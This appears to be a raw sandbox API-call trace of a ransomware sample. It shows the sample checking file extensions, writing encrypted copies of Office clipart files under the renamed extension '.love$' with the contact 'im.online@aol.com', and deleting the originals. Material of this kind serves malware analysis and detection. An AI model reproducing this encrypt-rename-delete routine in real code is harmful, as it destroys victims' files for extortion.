[0234.668] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString=".xls") returned 4 [0234.668] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.668] lstrlenW (lpString=".xlsx") returned 5 [0234.668] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.668] lstrlenW (lpString=".ppt") returned 4 [0234.668] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.668] lstrlenW (lpString=".zip") returned 4 [0234.669] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.669] lstrlenW (lpString=".rar") returned 4 [0234.669] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.669] lstrlenW (lpString=".bz2") returned 4 [0234.669] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.669] lstrlenW (lpString=".7z") returned 3 [0234.669] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.669] lstrlenW (lpString=".dbf") returned 4 [0234.669] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.669] lstrlenW (lpString=".1cd") returned 4 [0234.669] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00247_.WMF") returned 68 [0234.669] lstrlenW (lpString=".jpg") returned 4 [0234.669] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.669] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.669] lstrlenW (lpString="BL00390_.WMF") returned 12 [0234.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.671] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=13102) returned 1 [0234.671] CloseHandle (hObject=0x48c) returned 1 [0234.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 0x220 [0234.671] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.671] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.672] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0234.672] GetLastError () returned 0x0 [0234.672] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x332e, lpOverlapped=0x0) returned 1 [0234.678] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x3330, lpOverlapped=0x0) returned 1 [0234.680] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.680] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.680] SetEndOfFile (hFile=0x46c) returned 1 [0234.680] CloseHandle (hObject=0x46c) returned 1 [0234.680] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.680] SetEndOfFile (hFile=0x48c) returned 1 [0234.684] CloseHandle (hObject=0x48c) returned 1 [0234.684] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.684] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00390_.wmf")) returned 1 [0234.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.685] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.685] lstrlenW (lpString=".doc") returned 4 [0234.685] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.685] lstrlenW (lpString=".docx") returned 5 [0234.685] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.685] lstrlenW (lpString=".pdf") returned 4 [0234.685] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.685] lstrlenW (lpString=".xls") returned 4 [0234.685] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.685] lstrlenW (lpString=".xlsx") returned 5 [0234.685] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.685] lstrlenW (lpString=".ppt") returned 4 [0234.685] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".zip") returned 4 [0234.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.686] lstrlenW (lpString=".rar") returned 4 [0234.686] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString=".bz2") returned 4 [0234.686] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString=".7z") returned 3 [0234.686] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".dbf") returned 4 [0234.686] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".1cd") returned 4 [0234.686] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".jpg") returned 4 [0234.686] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".doc") returned 4 [0234.686] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString=".docx") returned 5 [0234.686] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.686] lstrlenW (lpString=".pdf") returned 4 [0234.686] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString=".xls") returned 4 [0234.686] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.686] lstrlenW (lpString=".xlsx") returned 5 [0234.686] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.686] lstrlenW (lpString=".ppt") returned 4 [0234.686] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.686] lstrlenW (lpString=".zip") returned 4 [0234.686] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.687] lstrlenW (lpString=".rar") returned 4 [0234.687] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.687] lstrlenW (lpString=".bz2") returned 4 [0234.687] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.687] lstrlenW (lpString=".7z") returned 3 [0234.687] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.687] lstrlenW (lpString=".dbf") returned 4 [0234.687] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.687] lstrlenW (lpString=".1cd") returned 4 [0234.687] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00390_.WMF") returned 68 [0234.687] lstrlenW (lpString=".jpg") returned 4 [0234.687] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.687] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.687] lstrlenW (lpString="BL00392_.WMF") returned 12 [0234.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.688] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=27050) returned 1 [0234.689] CloseHandle (hObject=0x48c) returned 1 [0234.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 0x220 [0234.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.689] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.689] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0234.690] GetLastError () returned 0x0 [0234.690] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x69aa, lpOverlapped=0x0) returned 1 [0234.693] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x69b0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x69b0, lpOverlapped=0x0) returned 1 [0234.694] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.694] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0234.694] SetEndOfFile (hFile=0x46c) returned 1 [0234.697] CloseHandle (hObject=0x46c) returned 1 [0234.697] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.697] SetEndOfFile (hFile=0x48c) returned 1 [0234.700] CloseHandle (hObject=0x48c) returned 1 [0234.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.701] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00392_.wmf")) returned 1 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString=".doc") returned 4 [0234.702] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString=".docx") returned 5 [0234.702] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.702] lstrlenW (lpString=".pdf") returned 4 [0234.702] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString=".xls") returned 4 [0234.702] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.702] lstrlenW (lpString=".xlsx") returned 5 [0234.702] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.702] lstrlenW (lpString=".ppt") returned 4 [0234.702] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString=".zip") returned 4 [0234.702] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.702] lstrlenW (lpString=".rar") returned 4 [0234.702] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString=".bz2") returned 4 [0234.702] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString=".7z") returned 3 [0234.702] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString=".dbf") returned 4 [0234.702] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString=".1cd") returned 4 [0234.702] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.702] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.702] lstrlenW (lpString=".jpg") returned 4 [0234.703] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString=".doc") returned 4 [0234.703] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString=".docx") returned 5 [0234.703] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.703] lstrlenW (lpString=".pdf") returned 4 [0234.703] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString=".xls") returned 4 [0234.703] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.703] lstrlenW (lpString=".xlsx") returned 5 [0234.703] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.703] lstrlenW (lpString=".ppt") returned 4 [0234.703] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString=".zip") returned 4 [0234.703] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.703] lstrlenW (lpString=".rar") returned 4 [0234.703] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString=".bz2") returned 4 [0234.703] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString=".7z") returned 3 [0234.703] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString=".dbf") returned 4 [0234.703] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString=".1cd") returned 4 [0234.703] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.703] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00392_.WMF") returned 68 [0234.703] lstrlenW (lpString=".jpg") returned 4 [0234.704] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.704] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.704] lstrlenW (lpString="BL00524_.WMF") returned 12 [0234.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.704] GetFileSizeEx (in: hFile=0x48c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=6996) returned 1 [0234.704] CloseHandle (hObject=0x48c) returned 1 [0234.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 0x220 [0234.705] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x48c [0234.705] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.705] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x46c [0234.706] GetLastError () returned 0x0 [0234.706] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x1b54, lpOverlapped=0x0) returned 1 [0235.094] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x1b60, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x1b60, lpOverlapped=0x0) returned 1 [0235.095] ReadFile (in: hFile=0x48c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.095] WriteFile (in: hFile=0x46c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0235.095] SetEndOfFile (hFile=0x46c) returned 1 [0235.096] CloseHandle (hObject=0x46c) returned 1 [0235.096] SetFilePointerEx (in: hFile=0x48c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.096] SetEndOfFile (hFile=0x48c) returned 1 [0235.099] CloseHandle (hObject=0x48c) returned 1 [0235.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0235.100] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00524_.wmf")) returned 1 [0235.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.101] lstrlenW (lpString=".doc") returned 4 [0235.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.101] lstrlenW (lpString=".docx") returned 5 [0235.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.101] lstrlenW (lpString=".pdf") returned 4 [0235.101] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.101] lstrlenW (lpString=".xls") returned 4 [0235.101] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.101] lstrlenW (lpString=".xlsx") returned 5 [0235.101] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.101] lstrlenW (lpString=".ppt") returned 4 [0235.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.101] lstrlenW (lpString=".zip") returned 4 [0235.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0235.101] lstrlenW (lpString=".rar") returned 4 [0235.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0235.101] lstrlenW (lpString=".bz2") returned 4 [0235.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0235.101] lstrlenW (lpString=".7z") returned 3 [0235.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.102] lstrlenW (lpString=".dbf") returned 4 [0235.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.102] lstrlenW (lpString=".1cd") returned 4 [0235.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.102] lstrlenW (lpString=".jpg") returned 4 [0235.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 [0235.102] lstrlenW (lpString=".doc") returned 4 [0235.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString=".docx") returned 5 [0235.102] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0235.102] lstrlenW (lpString=".pdf") returned 4 [0235.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString=".xls") returned 4 [0235.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0235.102] lstrlenW (lpString=".xlsx") returned 5 [0235.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0235.102] lstrlenW (lpString=".ppt") returned 4 [0235.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0235.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00524_.WMF") returned 68 